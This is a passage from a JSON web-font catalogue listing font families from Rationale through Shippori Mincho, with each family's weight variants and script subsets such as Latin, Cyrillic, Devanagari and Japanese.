600"},{"id":"700","name":"Bold 700"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"gujarati","name":"Gujarati"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Rationale":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Ravi Prakash":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"telugu","name":"Telugu"}]},"Readex Pro":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"arabic","name":"Arabic"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Recursive":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Red Hat Display":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Red Hat Mono":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Red Hat Text":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Red Rose":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Redacted":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Redacted Script":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Redressed":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Reem Kufi":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"arabic","name":"Arabic"},{"id":"latin","name":"Latin"}]},"Reenie Beanie":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Reggae One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Revalia":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Rhodium Libre":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Ribeye":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Ribeye Marrow":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Righteous":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Risque":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Road Rage":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Roboto":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"700","name":"Bold 700"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"greek-ext","name":"Greek Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Roboto Condensed":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"greek-ext","name":"Greek Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Roboto Flex":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Roboto Mono":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Roboto Serif":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Roboto Slab":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"greek-ext","name":"Greek Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Rochester":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Rock 3D":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"}]},"Rock Salt":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"RocknRoll One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Rokkitt":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Romanesco":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Ropa Sans":{"variants":[{"id":"400","name":"Normal 400"},{"id":"400italic","name":"Normal 400 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Rosario":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Rosarivo":{"variants":[{"id":"400","name":"Normal 400"},{"id":"400italic","name":"Normal 400 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Rouge Script":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Rowdies":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Rozha One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Rubik":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"hebrew","name":"Hebrew"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Rubik Beastly":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"hebrew","name":"Hebrew"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Rubik Bubbles":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"hebrew","name":"Hebrew"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Rubik Glitch":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"hebrew","name":"Hebrew"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Rubik Microbe":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"hebrew","name":"Hebrew"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Rubik Mono One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Rubik Moonrocks":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"hebrew","name":"Hebrew"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Rubik Puddles":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"hebrew","name":"Hebrew"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Rubik Wet Paint":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"hebrew","name":"Hebrew"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Ruda":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Rufina":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Ruge Boogie":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Ruluko":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Rum Raisin":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Ruslan Display":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Russo One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Ruthie":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Rye":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"STIX Two Text":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Sacramento":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Sahitya":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"}]},"Sail":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Saira":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Saira Condensed":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Saira Extra Condensed":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Saira Semi Condensed":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Saira Stencil One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Salsa":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Sanchez":{"variants":[{"id":"400","name":"Normal 400"},{"id":"400italic","name":"Normal 400 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Sancreek":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Sansita":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Sansita Swashed":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Sarabun":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"thai","name":"Thai"},{"id":"vietnamese","name":"Vietnamese"}]},"Sarala":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Sarina":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Sarpanch":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Sassy Frass":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Satisfy":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Sawarabi Gothic":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Sawarabi Mincho":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Scada":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Scheherazade New":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"arabic","name":"Arabic"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Schoolbell":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Scope One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Seaweed Script":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Secular One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"hebrew","name":"Hebrew"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Sedgwick Ave":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Sedgwick Ave Display":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Sen":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Send Flowers":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Sevillana":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Seymour One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Shadows Into Light":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Shadows Into Light Two":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Shalimar":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Shanti":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Share":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Share Tech":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Share Tech Mono":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Shippori Antique":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Shippori Antique B1":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Shippori Mincho":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 